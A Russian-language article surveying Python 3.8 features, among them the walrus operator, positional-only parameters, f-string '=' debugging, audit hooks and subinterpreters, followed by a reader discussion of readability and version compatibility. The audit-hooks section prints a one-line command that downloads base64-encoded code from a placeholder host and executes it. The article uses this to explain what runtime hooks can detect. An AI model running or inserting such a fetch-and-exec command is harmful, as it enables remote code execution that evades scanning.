В этой статье мы поговорим про новые функциональные возможности, которые были введены в Python 3.8.
Моржовый оператор (Оператор присваивания)
Мы знаем, что вы этого ждали. Это ожидание восходит еще к тем временам, когда в Python намеренно запретили использовать «=» в качестве оператора сравнения. Некоторым людям это понравилось, поскольку они больше не путали = и == в присваивании и сравнении. Другие сочли неудобной необходимость повторять оператор, либо присваивать его переменной. Давайте перейдем к примеру.
По словам Гвидо, большинство программистов склонны писать:
group = re.match(data).group(1) if re.match(data) else None
Вместо
match = re.match(data)
group = match.group(1) if match else None
Это делает работу программы медленнее. Хотя вполне понятно, почему некоторые программисты все же не пишут первым способом – это загромождает код.
Теперь же у нас есть возможность делать так:
group = match.group(1) if (match := re.match(data)) else None
Кроме того, это полезно при использовании if’ов, чтобы не вычислять все заранее.
match1 = pattern1.match(data)
match2 = pattern2.match(data)
if match1:
result = match1.group(1)
elif match2:
result = match2.group(2)
else:
result = None
И вместо этого мы можем написать:
if (match1 := pattern1.match(data)):
result = match1.group(1)
elif (match2 := pattern2.match(data)):
result = match2.group(2)
else:
result = None
Что является более оптимальным, поскольку второй if не будет считаться, если первый отработает.
На самом деле я очень рад стандарту PEP-572, поскольку он не просто дает ранее не существовавшую возможность, но и использует для этого другой оператор, поэтому его непросто будет спутать с ==.
Однако заодно он предоставляет и новые возможности для ошибок и создания заранее нерабочего кода.
y0 = (y1 := f(x))
Позиционные аргументы
def f(a, b, /, c, d, *, e, f):
print(a, b, c, d, e, f)
Здесь все, что находится перед
/
— строго позиционные аргументы, а все, что после *
— только ключевые слова.f(10, 20, 30, d=40, e=50, f=60) - valid
f(10, b=20, c=30, d=40, e=50, f=60) - b cannot be a keyword argument
f(10, 20, 30, 40, 50, f=60) - e must be a keyword argument
Область применения этой функции можно выразить одним предложением. Библиотекам проще будет менять свои сигнатуры. Давайте рассмотрим пример:
def add_to_queue(item: QueueItem):
Теперь автор должен поддерживать такую сигнатуру, и имя параметра больше не изменить, поскольку это изменение станет критическим. Представьте, что вам нужно изменить не один элемент, а целый список элементов:
def add_to_queue(items: Union[QueueItem, List[QueueItem]]):
Или так:
def add_to_queue(*items: QueueItem):
Это то, чего раньше вы сделать не могли из-за возможной несовместимости с предыдущей версией. А теперь можете. Кроме того, это больше соответствует конструкциям, которые уже используют такой подход. Например, вы не можете передать kwargs функции pow.
>>> help(pow)
...
pow(x, y, z=None, /)
...
>>> pow(x=5, y=3)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: pow() takes no keyword arguments
Поддержка дебага с помощью f-строк
Небольшая дополнительная функция, которая помогает нам использовать компактный формат записи вида “имя переменной=”, переменная.
f"{chr(65) = }" => "chr(65) = 'A'"
Заметили это, после chr(65)? Тот самый фокус. Он помогает обеспечить укороченный способ печати переменных с помощью f-строк.
Нативная оболочка asyncio
Теперь если мы запустим оболочку Python как ‘python -m asyncio’, нам уже не понадобится
asyncio.run()
, чтобы запускать асинхронные функции. Await можно использовать непосредственно из самой оболочки:>python -m asyncio
asyncio REPL 3.8.0b4
Use “await” directly instead of “asyncio.run()”.
Type “help”, “copyright”, “credits” or “license” for more information.
>>> import asyncio
>>> async def test():
… await asyncio.sleep(1)
… return ‘hello’
…
>>> await test()
‘hello’
Вызовы Python runtime audit hooks
Рантайм Python очень сильно полагается на С. Однако код, выполненный в нем, никаким способом не регистрируется и не отслеживается. Это затрудняет мониторинг работы фреймфорков для тестирования, фреймворков для логирования, средств безопасности и, возможно, ограничивает действия, выполняемые рантаймом.
Теперь можно наблюдать за событиями, инициированными рантаймом, включая работу системы импорта модулей и любые пользовательские хуки.
Новое API выглядит следующим образом:
# Add an auditing hook
sys.addaudithook(hook: Callable[[str, tuple]])
# Raise an event with all auditing hooks
sys.audit(str, *args)
Хуки нельзя удалить или заменить. Для CPython хуки, пришедшие из С, считаются глобальными, тогда как хуки, пришедшие из Python, служат только для текущего интерпретатора. Глобальные хуки выполняются перед хуками интерпретатора.
Один из особенно интересных и не отслеживаемых эксплойтов может выглядеть так:
python -c “import urllib.request, base64;
exec(base64.b64decode(
urllib.request.urlopen(‘http://my-exploit/py.b64')
).decode())”
Такой код не сканируется большинством антивирусных программ, поскольку они ориентируются на распознаваемый код, считываемый при загрузке и записи на диск, и base64 вполне достаточно, чтобы эту систему обойти. Этот код также пройдет такие уровни защиты, как списки управления доступом к файлам или разрешения (когда доступ к файлам не требуется), доверенные списки приложений (при условии, что у Python есть все необходимые разрешения) и автоматический аудит или логгирование (при условии, что у Python есть доступ к интернету или доступ к другой машине в локальной сети, с которой можно получить полезную нагрузку).
С помощью runtime event hooks мы можем решить, как реагировать на любое конкретное событие. Мы можем либо зарегистрировать событие, либо полностью прервать операцию.
multiprocessing.shared_memory
Помогает использовать одну и ту же область памяти из разных процессов/интерпретаторов. В принципе, это может помочь нам сократить время, затрачиваемое на сериализацию объектов для передачи их между процессами. Вместо сериализации, отправки в очередь и десериализации, мы можем просто использовать общую память из другого процесса.
Протокол Pickle и буферы внеполосных данных
Протокол pickle 5 предоставляет поддержу внеполосных буферов, где данные могут передаваться отдельно от основного потока pickle по усмотрению транспортного уровня.
Предыдущие 2 дополнения весьма важны, однако они не были включены в релизную версию Python 3.8, поскольку необходимо проделать еще кое-какую работу по совместимости со старым кодом, однако это может изменить походы к параллельному программированию на Python.
Суб-интерпретаторы
Потоки в Python не могут выполняться параллельно из-за GIL, в то время как процессам требуется много ресурсов. Только начало процесса занимает 100-200 мс, а они еще и потребляют большое количество оперативной памяти. Но кое-что может с ними совладать и это суб-интерпретаторы. GIL – это интерпретатор, поэтому он не повлияет на работу других интерпретаторов, и запускается он легче, чем процесс (хотя и медленнее, чем поток).
Основная проблема, которая в связи с этим возникает, заключается в передаче данных между интерпретаторами, поскольку они не могут передавать состояние, как это делают потоки. Поэтому нам нужно использовать какую-то связь между ними. Pickle, marshal или json можно использовать для сериализации и десериализации объектов, однако работать такой способ будет довольно медленно. Одним из решений является использование общей памяти из модуля процессов.
Подпроцессы, судя по всему, являются хорошим решением для проблем GIL, однако необходимо еще проделать определенный пул работ. В некоторых случаях Python по-прежнему использует “Runtime State” вместо “Interpreter State”. Например, сборщик мусора работает именно так. Поэтому нужно внести изменения в многие внутренние модули, чтобы начать по-нормальному использовать суб-интерпретаторы.
Надеюсь, этот функционал смогут полноценно развернуть уже в версии Python 3.9.
В заключение хочу сказать, что в эту версию добавлен определенный синтаксический сахар, а еще некоторые серьезные улучшения в работе библиотек и процесса выполнения. Однако множество интересных функций так и не попали в релиз, поэтому будем ждать их в Python 3.9.
Источники:
Комментарии (63)
arheops
21.10.2019 20:55+1Может писать так легче, но читать — сложнее.
Как бы вроде бы парадигма питона была — читаемость, не?
Кажися идем в сторону современной джава…BasicWolf
21.10.2019 21:13Согласен. После этого кипиша (PEP-572) Гвидо и ушёл с поста BDFL — не было больше сил и нервов противостоять сообществу.
artemisia_borealis
21.10.2019 21:41Кипиш был, но в обратную сторону. Гвидо один из авторов PEP-572. Он его с большим трудом и внедрял.
eumorozov
21.10.2019 21:19Читаемость, на мой взгляд, особенно сильно страдает от аннотаций типов. За ними тяжелее видеть код (может быть временно, потом привыкну, но кажется, что нет).
GamePad64
21.10.2019 21:53+2Зато, становится намного более понятно, с чем работает каждая функция, какой тип принимает, какой возвращает. С ними можно прикрутить статический анализатор (mypy), использовать их для сериализации (pydantic), задавать ими форматы данных для API (fastapi).
0xd34df00d
22.10.2019 02:14Это просто у вас типов выразительных нет.
В других языках зачастую можно на код и не смотреть, типов достаточно.
Meklon
22.10.2019 09:23С учетом того, что аннотация преимущественно только на аргументах функции и возврате, то особо не загромождает.
eumorozov
22.10.2019 09:30Ну, наверное, вопрос привычки, да. И все же как-то неэстетично выглядит. Когда только начинал изучать Python 20 лет назад, полюбил его именно за простоту, за то что код выглядит как псевдокод.
Нынешний Python очень сильно отличается от того, с которого начинал (кажется, это был 1.5.2 или даже 1.4). И хотя какие-то вещи мне нравятся и были абсолютно необходимыми, но постоянные радикальные изменения приводят к тому, что он становится совсем другим языком.
MooNDeaR
22.10.2019 13:15Если заменить в тексте Python на C++, то получим тот же самый вывод) Раньше трава была зеленее)
Gutt
22.10.2019 15:54+1Так никто аннотации типов использовать не заставляет. Но мне с ними, например, код проще и писать, и читать. Это вот «передадим кучку объектов какого-то там типа» меня всегда в Питоне выстёгивало. Поди разберись, не читая код метода, что передавать и что получим в результате. А тут сразу всё ясно.
Круче было бы, конечно, со строгой типизацией, но и с имеющейся рантайм-проверкой типов уже можно жить.eumorozov
22.10.2019 15:57+1Я тоже начал использовать, и мне тоже они нравятся именно потому что легче понимать, что передается и получаптся.
Но все-таки есть какая-то неудовлетворенность от того, что язык перестал быть таким необыкновенно простым. Если бы спросили мое мнение, то я бы и против walrus оператора высказался. Да, он удобнее во многих ситуациях. Но не настолько, чтобы оправдать более запутанные конструкции, которые неизбежно теперь появятся.
mayorovp
22.10.2019 09:56+1Как будто докстринги загромождают код меньше, особенно когда там начинают типы всех аргументов расписывать...
SmartyTimmi
21.10.2019 21:20+1Если сильно не увлекаться и использовать только там, где «две строчки в одну», то вроде бы вполне читабельно. Ну и может в самом деле некоторый плюс в производительность можно будет получить, хотя как-то сомнительно звучит.
x67
22.10.2019 00:07-2Читаемость — весьма субъективное понятие. Там, где джун будет вникать в код, сеньор видя знакомый паттерн уже знает, что и куда писать. А нужно ли делать код понятный всем? Это хоть и часть парадигмы питона, но совсем не значит, что парадигма не может меняться или что все в питоне должно следовать правилам, придуманным целую эпоху назад.
Я вот, например, люблю высокую плотность экшена в коде, а инициализация/присваиваение перед условием вызывает только раздражение и непонимание, зачем знакомый паттерн нужно переписывать миллионы раз в одних и тех же ситуациях.
А то, что использование оператора может превратиться в изврат — другой вопрос. Любой инструмент можно использовать неправильно, это же не повод отказываться от удобных инструментов.
Тот же map может очень органично вписаться в код или стать пыткой. Не выкидывать же его из питона теперь.
Ну и я считаю, что такие вещи, как := это удел опытных программистов, которые хотят вложить больше смысла в меньшее количество кода. И начинать его использовать надо только тогда, когда почувствуется острая необходимостьCosmoV
22.10.2019 13:31это удел опытных программистов, которые хотят вложить больше
Так кода то особо меньше не стало, просто он перешел из вертикальной плоскости в горизонтальную.
Читаемость — весьма субъективное понятие
Быть может до определенного момента. Любая конструкция имеющая вложенное содержимое локализуемое посредством скобок любого формата по умолчанию заставляет парсить глазами этот текст, ухудшая читаемость.
Pichenug
22.10.2019 13:31-1Дело не столько в читаемости, сколько в побочных эффектах в выражениях, которые некоторые захотят использовать, чтобы урвать пару строк код, а в итоге получится такое безобразие, что мало не покажется никому.
BasicWolf
21.10.2019 21:15Всем на заметку: репозиторий с кейсами использования моржового оператора: https://github.com/vlevieux/Walrus-Operator-Use-Cases
GamePad64
21.10.2019 21:56+1Пока не получается перейти: в python 3.8 поломали API сишных расширений, из-за этого не собирается cython, который во многих библиотеках используется. Конечно, в версии из гита уже поправили, но на pypi ещё не загрузили.
DrMefistO
21.10.2019 23:48Там некоторые экспорты забыли добавить в Python.dll.
GamePad64
22.10.2019 01:12Прежде всего, дело в том, что изменили сигнатуры некоторых функций. В частности, cython при компиляции жалуется на изменение PyCode_New в CPython.
bm13kk
22.10.2019 01:52+1моржовый оператор убог
и как нарушение зен философии
и как нарушения целоствности языка, где есть конструкция `as`CheY
22.10.2019 21:55Поддерживаю. Что будет дальше? Введут таки какие-нибудь многострочные лямбды, добавив особый синтаксис, отличный от имеющегося?
BasicWolf
24.10.2019 22:07Вариант с
as
рассматривали и отклонили: https://www.python.org/dev/peps/pep-0572/#alternative-spellings.
Если вкратце: не хотели добавлять лишнюю семантику. В рассматриваемых случаях, переменная с правой стороны отas
всегда присутствует в области видимости:
import x.y.z as z
# z = x.y.z
with context as c:
# c = context.__enter__()
bm13kk
24.10.2019 23:04и аргументация вида `the assignment target doesn't jump`
если это действительно первый аргумент — то надо было оставить присваивание отдельной строкой.
> не хотели добавлять лишнюю семантику
а вот это прямая ложь. := — новая семантика
as — уже существующая
более того — она открывает возможность отказаться от сложной (с условием) семантики import. [as .]
и перейти к совмещению двух более простых семантик (без условий) — отдельно import отдельно as
Пункт про _enter_ вообще неудачен, так как он будет вызван даже без использования as.
bm13kk
24.10.2019 23:08Кстати предложение where: тоже очень интересное и красивое.
Что самое смешное, что это выражение конфликтует с with: что правда.
Вообще, все эти случаи (и многие поверх) можно было бы обьеденить с самым красивым, коротким и главное (потому что это тоже аргументация как оказалось) старым решением. Функцией (оператором?) let из лиспа.
Begetan
22.10.2019 11:34-1Опять код написанный на Python 3.8 не будет запускаться на младших версиях?
Я не хейтер, просто искренне интересуюсь.mayorovp
22.10.2019 11:35+1А какой язык вообще поддерживает такой вид совместимости?
Begetan
22.10.2019 11:38Пишу на Go, он декларирует (и выполняет) совместимость в версии 1 уже много лет.
mayorovp
22.10.2019 11:47Да ладно? Вон версия 1.10 позволяет писать
x[1.0 << s]
, в то время как в более ранних такой код не скомпилируется.Begetan
22.10.2019 13:12Я проверил, вы правы в этом примере. Но, честно говоря, в языке со строгой типизацией я бы просто не рассчитывал на работу бинарных операций над вещественным типом.
Может быть есть еще примеры, более ощутимые, так сказать?mayorovp
22.10.2019 13:19Ну вот в 1.5 было более ощутимое изменение.
Что же до его давности — это лишь означает что сам язык не развивается. Невозможно одновременно развивать язык и поддерживать как прямую так и обратную совместимость.
valis
22.10.2019 12:30+1Вообще не представляю совместимости «в низ» — старшая версия всегда добавляет новые фитчи, которые не доступны младшей версии.
Совместимость «в верх» (в старшей версии работает код младшей) это еще куда не шло. Такое вроде must have, и даже периодически варнинги интерпретатор выплевывает "...was deprecated'MechanicZelenyy
22.10.2019 13:00Ну например, я могу скомпилировать код с помощью java11 и полученный байт-код может исполняться на 1.6. Обратная совместимость на уровне синтаксиса и на уровне байт-кода разные вещи, вторую можно попробовать и обеспечить.
mayorovp
22.10.2019 13:22А вот не факт. Лямбды сделаны через invokedynamic, а indy только в 1.7 появилась же.
MooNDeaR
22.10.2019 18:37+1Ну, так просто в байт-кода своя версионность и это не считается за пример :D Если в байт-коде поменяют версию с 1.1 до 1.2, то очевидно команды из 1.2 не будут исполняться на старых версиях JVM.
MechanicZelenyy
23.10.2019 00:29Ну в данном случае я могу один и тот же исходный код скомпилировать в обе версии байт-кода и поставлять тут версию, которая нужна пользователю, а в питоне не факт что исходник транслируемый в байт-код для py3, получиться оттранслировать в байт-код для py2.
Begetan
22.10.2019 13:06-1Ну в питоне нет ни совместимости вверх ни совместимости вниз, иначе бы не пришлось бы придумывать pip vs pip3 и все эти virtualenv Просто стало интересно неужели в каждой минорная цифре Python 3.x вводятся breakable changes. Как вы там живете вообще? Судя по реакции на безобидный вопрос, не очень.
mayorovp
22.10.2019 13:22Обратная совместимость в Питоне, вообще-то, есть. Надо просто считать python 2 и python 3 двумя разными языками.
virtualenv, кстати, в go тоже есть и аж двух разных видов (legacy GOPATH и go modules)
Begetan
22.10.2019 15:56Жаль что авторы блогов и составители документации не следуют этому замечательному совету. Но видимо есть причина этому.
Есть ли гарантия какую версию выдаст команда python --version на произвольной системе? Вот у меня сейчас пишет Python 2.7.15+, а если я удалю Python 3.x у будет ли выпадать сообщение об ошибке или запустится 3.x? Есть сомнения.
go modules решают в первую очередь проблему breaking changes в библиотеках, то что они фиксируют версию языка — побочный результат, ибо проблема постоянного изменения синтаксиса языка в go не актуальна.mayorovp
22.10.2019 16:06Ну так virtualenv тоже делался именно для решения проблемы breaking changes в библиотеках. То что его можно использовать для фиксации версии самого python я до вашего комментария как-то даже и не думал...
eumorozov
22.10.2019 17:31+3Миграция между 2.x и 3.x — это отделный случай. Это не то, что происходит несколько раз в год — это эпопея, которая длится более десяти лет. И учитывая масштаб изменений, по-моему, все справились с ней весьма неплохо. Наверное до позапрошлого года я имел дело с разными проектами, какие-то на 2.x, какие-то на 3.x, и ни разу у меня не было проблем с переключением на одной машине.
В ветке 3.x изменения пошли быстрее, но, как правило, код может сломаться только при переносе из под новой версии в старую, и то не всегда. Код, написанный под Python 3.6 в 3.8 ломаться не будет.
Или я не так понял проблему?
undersunich
22.10.2019 12:26Питон идет в сторону усложнения.Это хорошо или плохо?
red_andr
23.10.2019 00:44Не видел ни одного языка, который шёл бы в сторону упрощения. Ну, по крайней мере из широко используемых. Тут хотя бы никто не заставляет использовать все эти новые особенности.
Vlad800
23.10.2019 01:41Новый С++?
iroln
23.10.2019 15:06Это сарказм что ли? move semantics, variadic templates, вычисления времени компиляции, ranges, ещё больше особо шаблонной магии и т.д. Где тут упрощение то? То, во что превращается C++, который никогда простым и не был, это не упрощение, это вырождение в некоторое новое подмножество языка. И если использовать только его, то в некоторых случаях код получится проще и лаконичнее, но далеко не всегда.
И подобные статьи этому подтверждение:
https://habr.com/ru/company/jugru/blog/469465/
А вот, например, ликбез о том как же правильно передавать аргументы в конструктор в современном C++
https://habr.com/ru/post/460955/
А вот этот список так вообще доставляет.
https://en.cppreference.com/w/cpp/compiler_support
Ну и "спор" на лоре о размере стандарта C++
https://www.linux.org.ru/forum/development/14796243Vlad800
23.10.2019 20:21Я просто выразил опасение, что Python движется возможно не туда (как и С++) — в неконтролируемое расширение. Но кое-что интересное почитать из вашего ответа я для себя нашел.
iroln
23.10.2019 22:53Так и я тоже считаю, что Python идёт куда-то не туда :)
Вся эта эмуляция типизации, особенно с генериками выглядит чужеродно в питонокоде. Одно дело — аннотировать сигнатуру функции и некоторые переменные для подсказок в IDE и самодокументации кода и совсем другое, когда из динамической типизации пытаются сделать статическую с помощью тайпхинтов и mypy.
Кстати, пока писал комментарий про C++, потерял одну ссылку, вот она:
https://habr.com/ru/company/jugru/blog/438260/
eumorozov
У «моржового» присваивания низкий приоритет? Почему он везде в скобках, особенно в операторах
if
?asorkin
Потому что это не присваивание, а именование выражения. То есть само вычисление происходит не в том месте, где стоит :=, а позже, где новое имя используется.
Это не := из Pascal. Поэтому в стандарте PEP-572 столько места уделено визуальному отделению := от = с помощью тех самых скобок, чтобы избежать ошибочного использования одного оператора вместо другого.
mayorovp
Погодите, но если это не присваивание, а именование выражения, то зачем его вообще писать в скобках?
Чем вот такой вариант не вариант? Или это всё же присваивание, раз уж оно называется Assignment Expressions?
arabesc
т.е. некоторые пишут так
хотя это делает программу медленнее (а кому какое дело)другие так не пишут, т.к. громоздко (серьёзно?)
и теперь для этих других придумали сахарок?
[facepalm]
vrnvorona
В чем проблема сахара? (причем я не шарю, думаю тут не просто сахар)
Или вы из разряда «не страдал — не мужик»?
arabesc
проблема, что решается не упомянутая вскользь неэффективность приведённой в пример идиомы, а только сокращается её запись, делая неэффективность ещё менее очевидной, якобы, чтобы большему количеству разработчиков было удобнее писать такой неэффективный код
vrnvorona
Разве во втором случае метод match(data) выполняется не один раз вместо двух в первом? Я думал в этом идея.
arabesc
смутила формулировка ответа asorkin:
это неверно, вычисление будет сразу, это не алиас на выражение, а алиас на результат выражения, где под выражением для := и = подразумевается разный скоуп, поэтому введена синтаксическая разница записи
vrnvorona
Я бы сказал что это одновременно присваивание и выполнение, так проще понимается. На самом деле неплохой сахар чтобы не писать присвоение выше как переменную которую придется использовать.
idisin
Синтаксис этого оператора запрещает использовать его без скобок, чтобы он не заменял ?=? при обычном использовании